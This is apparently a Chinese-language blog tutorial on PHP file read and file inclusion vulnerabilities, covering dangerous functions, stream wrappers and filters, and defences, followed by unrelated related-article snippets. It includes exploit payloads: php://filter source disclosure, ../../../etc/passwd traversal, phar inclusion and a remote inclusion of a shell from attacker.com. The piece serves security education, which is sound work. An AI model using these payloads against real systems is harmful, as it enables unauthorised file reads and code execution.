PHP文件读取漏洞全面剖析:触发点与利用技术
PHP文件读取漏洞全面剖析:触发点与利用技术
引言
PHP作为Web开发中最流行的语言之一,其文件操作功能强大但也暗藏风险。文件读取漏洞是PHP应用中最常见的安全问题之一,攻击者利用这些漏洞可以读取服务器敏感文件,甚至实现远程代码执行。本文将全面剖析PHP文件读取漏洞的常见触发点、利用技术及防御方法。
一、PHP文件操作高危函数
PHP提供了多种文件读取函数,这些函数若使用不当极易成为安全漏洞的源头:
1. 基础文件读取函数
- file_get_contents():一次性读取整个文件内容到字符串
- file():将整个文件读入数组,每行作为数组的一个元素
- fopen()系列:包括fopen()、fread()、fgets()等,提供更灵活的文件操作方式
2. 文件包含函数
- include()/require():包含并运行指定文件
- include_once()/require_once():功能相同但会检查是否已包含过
3. 命令执行函数
- system()/exec():通过执行系统命令间接读取文件
这些函数若接收用户可控的输入作为参数,且未进行严格的过滤和验证,就会成为文件读取漏洞的入口点。
二、PHP特色机制:Wrapper与Filter
PHP的文件操作机制与其他语言不同,提供了独特的Wrapper和Filter功能,这些特性在带来便利的同时也增加了安全风险。
1. Wrapper机制
PHP不直接使用文件路径,而是通过"协议"形式访问文件资源,称为Wrapper。常见内置Wrapper包括:
- file://:访问本地文件系统(默认)
- http://:访问HTTP(s) URL
- ftp://:访问FTP(s) URL
- php://:访问各种I/O流
- data://:数据(RFC 2397)
- zip://:压缩流
- phar://:PHP归档
- glob://:查找匹配的文件路径模式
更危险的是,PHP还允许开发者通过stream_wrapper_register()
注册自定义Wrapper,这进一步扩大了攻击面。
2. Filter机制
Filter可以对Wrapper处理的数据流进行转换处理,常见Filter类型包括:
- String Filters:如string.rot13、string.toupper等
- Conversion Filters:如convert.base64-encode、convert.base64-decode
- Compression Filters:如zlib.deflate、bzip2.compress
- Encryption Filters:如mcrypt.、mdecrypt.
Filter在文件读取漏洞利用中扮演重要角色,特别是当需要绕过安全限制时。
三、文件包含漏洞利用技术
文件包含漏洞是文件读取漏洞中最危险的一类,特别是当allow_url_include
选项开启时,可能导致远程代码执行。
1. 基本利用场景
当服务端代码使用include等函数且参数可控时:
include($_GET['file']);
攻击者可以直接包含恶意文件,如果文件包含PHP代码,这些代码会被执行。
2. 使用Filter绕过限制
通过Filter可以避免PHP代码被执行而直接读取源代码:
php://filter/read=convert.base64-encode/resource=config.php
这样读取的文件内容会被Base64编码,可以避免PHP解析器执行其中的代码。
3. 不同可控位置的利用技术
根据文件路径可控部分的不同,利用技术也有所差异:
① 路径前面可控,后面不可控
示例代码:
include($user_input . '/fixed_path.php');
利用技术:
- 在低版本PHP中可使用空字节截断(
%00
) - 使用zip或phar协议包含恶意文件
- 尝试目录穿越(
../../../
)
② 路径后面可控,前面不可控
示例代码:
include('/fixed/path/' . $user_input);
利用技术:
- 使用目录穿越读取系统文件(
../../../etc/passwd
) - 但通常无法使用Wrapper进行文件包含
③ 路径中间可控
示例代码:
include('/fixed/prefix_' . $user_input . '_suffix.php');
利用技术:
- 类似于第一种情况,但Wrapper使用受限
- 可能需要结合其他技巧如路径截断
四、高级利用技术
1. 使用phar协议执行代码
当服务端有文件上传功能时,可以上传恶意phar文件,然后通过phar协议包含执行:
include('phar:///path/to/uploaded/file.phar');
2. 利用压缩流绕过限制
zip协议可以用于读取压缩包内的文件:
zip:///path/to/file.zip%23file.txt
3. 远程文件包含(RFI)
当allow_url_include
开启时,可以直接包含远程恶意代码:
include('http://attacker.com/shell.txt');
五、防御措施
- 禁用危险函数:在php.ini中禁用不必要的危险函数
- 关闭危险选项:设置
allow_url_include=Off
和allow_url_fopen=Off
- 严格过滤输入:对文件路径参数进行白名单验证
- 使用绝对路径:避免目录穿越攻击
- 更新PHP版本:新版本修复了许多已知的文件包含漏洞
- 实施权限控制:确保Web服务器用户只有必要的最小权限
结语
PHP文件读取漏洞危害严重,从简单的信息泄露到完全的服务器沦陷都有可能。了解这些漏洞的触发点和利用技术,有助于开发者编写更安全的代码,也有助于安全人员更好地评估系统风险。在开发过程中,应当始终遵循最小权限原则和安全编码规范,避免给攻击者可乘之机。
相关文章:
PHP文件读取漏洞全面剖析:触发点与利用技术
PHP文件读取漏洞全面剖析:触发点与利用技术 引言 PHP作为Web开发中最流行的语言之一,其文件操作功能强大但也暗藏风险。文件读取漏洞是PHP应用中最常见的安全问题之一,攻击者利用这些漏洞可以读取服务器敏感文件,甚至实现远程代…...
解决SQL Server SQL语句性能问题(9)——SQL语句改写(2)
9.4.3. update语句改写 与Oracle类似,SQL Server中,update语句被用户相关技术人员广泛应用于现实日常工作中。但是,有些情况下,尤其是海量数据场景中,update语句也许会带来性能方面的严重问题或极大隐患。因此,为了解决和消除update语句导致的性能问题或隐患,我们将需对…...
学习英语。
1. 先自己翻译一遍(葫芦背书法) 结构 补充修饰 最核心的记忆 然后再修饰 2.意群之间翻译: 1.意群 对于两个意群合起来翻译 方法1就是着重某一 6.或者意群之间 核心词一个介词 于 对于 介词化修饰 3.句子之间关系 主句1 after句子2 那么句…...
2480: 2020年06月2级T1:计算矩阵边缘元素之和
题目描述 2020年06月2级第一题题目:计算矩阵边缘元素之和 输入一个整数矩阵,计算位于矩阵边缘的元素之和。所谓矩阵边缘的元素,就是第一行和最后一行的元素以及第一列和最后一列的元素。 输入 第一行分别为矩阵的行数m和列数n࿰…...

html - <mark>标签
<mark> 标签在HTML中用于高亮显示文本,通常用于突出显示某些重要的部分。它的默认样式通常是背景色为黄色,但你可以通过CSS自定义其外观。 1. 基本用法 <mark> 标签用于标记文本的高亮显示。它常用于搜索结果中,突出显示匹配的…...

JavaWeb:前端工程化-Vue
Vue工程化 介绍 什么是Vue? 小白眼里前端开发 前端工程化 环境准备 D:\Program Files\nodejs Vue项目-快速入门 步骤 D:\front\vue 安装依赖 目录结构 code . vscode打开 启动 VScode侧边栏左下角,没有NPM脚本,如何打开?&…...

AT_abc409_e [ABC409E] Pair Annihilation
AT_abc409_e [ABC409E] Pair Annihilation 赛时没开longlong挂了。 思路 首先我们可以把这棵树转化为一颗有根树,且所有电子的都朝根节点移动。 那么接下来我们就需要选择一个最优的树根。 考虑换根dp。 但是可以发现换根时答案其实是没有变化的。 我们设 f…...
【CSS-6】深入理解CSS复合选择器:提升样式表的精确性与效率
CSS选择器是前端开发的基石,而复合选择器则是其中最强大且实用的工具之一。本文将全面解析CSS复合选择器的类型、用法、优先级规则以及最佳实践,帮助你编写更高效、更精确的样式表。 1. 什么是复合选择器? 复合选择器是通过组合多个简单选择…...
网站静态文件加速-Django项目静态文件存储到腾讯云COS存储提升网络请求速度
解决办法是通过在 Nginx 中把对 /static/ 路径的请求直接指向你的 COS 域名来实现让浏览器直接去拉取 COS 上的静态资源,而不再经过本地服务器。下面给出两种常见的做法,你可以任选其一: 方法一:使用 301/302 Redirect ࿰…...

开疆智能Ethernet/IP转Modbus网关连接西门子BW500积算仪配置案例
本案例是通过Ethernet转Modbus网关将皮带秤数据接入到罗克韦尔1769L32E型PLC中。 首先进行ABB PLC的设置 1, 运行 RSLogix 5000 程序加载Ethernet转Modbus网关的EDS 文件: 2,新建工程并添加PLC 3,New Module添加网关ÿ…...

【五子棋在线对战】三.数据管理模块实现
数据管理模块实现 1.数据库表的设计2.数据管理模块的封装和实现2.1 user_table() && ~user_table()2.2 insert() 注册时新增用户2.3 login() 登录验证,并返回详细的用户信息2.4 通过用户名获取用户信息 && 通过用户id获取用户信息2.5 win() &&a…...

【JMeter】后置处理器 - 提取器
文章目录 概览边界提取器正则提取器JSON提取器 概览 CSS/JQuery提取器;给网页使用JSON提取器:给JSON数据使用★边界提取器:给字符串使用★正则表达式提取器:更加高级的字符使用★Xpath提取器:给网页使用 边界提取器…...
JSON解析崩溃原因及解决方案
问题记录: /************************************************| * 描述: 将ID124执行NFC操作-JSON解析为结构体* 函数名: cJSON_ID124_to_struct* 参数[ I]: *json_string 待解析的指针* 参数[II]: *wireless_rxd 结构体指针* 返回: 成功返回0 失…...

OpenAI技术路线急转:从TypeScript到Rust的Codex CLI重构内幕
目录 前言:OpenAI的技术抉择引发业界思考 Codex CLI:OpenAI的终端AI编程利器 语言抉择的戏剧性反转:从TypeScript到Rust Rust重写的四大技术动因 1. 零依赖部署:消除环境配置痛点 2. 内存安全与沙箱隔离 3. 性能的全面碾压 …...

window下配置ssh免密登录服务器
window下配置ssh免密登录服务器 本地windows远程登录我的ssh服务器10.10.101.xx服务器,想要每次都免密登录这个服务器. 记录下教程,防止后期忘记,指导我实现这个过程。 教程 二、实践步骤:Windows 上配置 SSH 免密登录 2.1 确…...

nginx部署
配置阿里云yum源 安装如下编译工具 yum install -y gcc gcc-c autoconf automake make #安装使用nginx还得安装nginx所需的一些第三方系统库的支持,比如nginx的静态资源压缩功能所需的gzip lib库,nginx需要支持URL重写,所需的pcre库&…...
c语言超详细知识点总结 1500行手写源码 持续更新中ing 从25年5月到6月5日
想象一下,我们身处的数字世界,如同一座座宏伟的建筑。操作系统、编译器、数据库、嵌入式设备乃至绚丽的游戏引擎,它们都是这座大厦的重要组成部分。而C语言,正是构建这一切的坚固基石。自丹尼斯里奇于贝尔实验室孕育出这颗编程界的…...

线性规划饮食问题求解:FastAPI作为服务端+libhv作为客户端实现
之前在 Pyomo介绍-CSDN博客 中介绍过通过Pyomo求解线性规划问题,这里使用FastAPI作为服务端,开源网络库libhv作为客户端,求解饮食成本最小化问题。 服务端测试代码test_fastapi_pyomo_server.py如下: from fastapi import FastAP…...
笔记:算法题目中需要处理 int 某个位的三种方法:for、while、to_string
int n; cin >> n; 1. 使用for观察高位、低位、本位 for(int i 1; i < n; i * 10){ //i 1 当前位为个位, i 10 为十位,以此类推 high n / (i * 10); //这是相对于 i 的高位,例如 i 为个位…...

前端验证下跨域问题(npm验证)
文章目录 一、背景二、效果展示三、代码展示3.1)index.html3.2)package.json3.3) service.js3.4)service2.js 四、使用说明4.1)安装依赖4.2)启动服务器4.3)访问前端页面 五、跨域解决方案说明六…...
Postgresql字符串操作函数
目录 一、基础字符串操作 二、大小写转换 三、空白处理 四、子串提取 五、搜索与定位 六、字符串修改 七、填充与格式化 八、编码转换 九、正则表达式(高级匹配) 十、其他实用函数 使用技巧: 以下是 PostgreSQL 中最全面的常用字符…...
vue3-andsign 中实现实物电商列表的页面
这里自己做一个代码整理 做了一个实物电商 选品中心的页面 看里面有些效果挺好 这里记录一下 直接粘贴代码了 我自己能看懂 做了一个列表显示 骨架屏等 效果 使用了grid 布局 比媒体查询好使 <script setup lang"ts"> import { ref, onMounted, watch } fro…...

Linux Docker的简介
参考资料 30分钟Docker入门教程 ◀ 本篇博客所有图片皆来自于该视频截图阮一峰 - Docker 入门教程 目录 一. 环境配置时可能会遇到的问题二. 什么是Docker三. 虚拟机 与 Docker 的区别3.1 虚拟机3.2 Docker 四. Docker的基本架构五. Dockerfile 一. 环境配置时可能会遇到的问题…...

极昆仑智慧与数元灵科技达成战略合作
近日,北京极昆仑智慧科技有限公司与北京数元灵科技有限公司正式签署产品级融合战略合作协议,双方将围绕 "AIBI商业智能分析" " Hybrid RAG 大模型问答" 等核心大模型应用,实现技术架构与业务场景的深度集成,…...
如何写一篇基于Spring Boot + Vue + 微信小程序的软件的接口文档
如何写一篇基于Spring Boot Vue 微信小程序的软件的接口文档 下面是一个例子,仅供参考! 基于Spring Boot Vue 微信小程序的博客系统接口文档 技术栈:Spring Boot 3.x Vue 3 Element Plus 微信小程序原生框架 文档版本:v1…...
上位机知识篇---网页端实现
一、网页端基础概念 网页的本质 网页是通过浏览器展示的超文本(HTML)内容,依赖 HTTP/HTTPS 协议 进行数据传输。组成要素: 结构层(HTML):定义页面内容和语义(如标题、段落、列表等&a…...
鼠标的拖动效果
1、变量的设置 let isDragging false; let startX; let startY; let endX; let endY; let box null;isDragging : 表示是否推拽startX、startY:表示起始坐标,相对于元素endX、endY:表示结束坐标,相对于元素box&…...

第四讲:类和对象(下)
1. 再探构造函数 • 之前我们实现构造函数时,初始化成员变量主要使⽤函数体内赋值,构造函数初始化还有⼀种⽅ 式,就是初始化列表,初始化列表的使⽤⽅式是以⼀个冒号开始,接着是⼀个以逗号分隔的数据成 员列表ÿ…...
C++ vector容器存储对象和存储指针的区别(vector对象、vector指针)(存储指针时推荐使用智能指针)
文章目录 **1. 内存管理**- **存储对象**:- **存储指针**: **2. 生命周期控制**- **存储对象**:- **存储指针**: **3. 性能差异**- **存储对象**:- **存储指针**: **4. 使用场景**- **选择存储对象的情况**…...
C#和C++在编译过程中的文件区分
1. .h是头文件(Header File) 用来 声明类、函数、常量等。 通常不包含实际实现,只是“定义接口” // 示例:math_utils.h#pragma once int add(int a, int b); //定义函数名2. .cpp是源文件(Source File&…...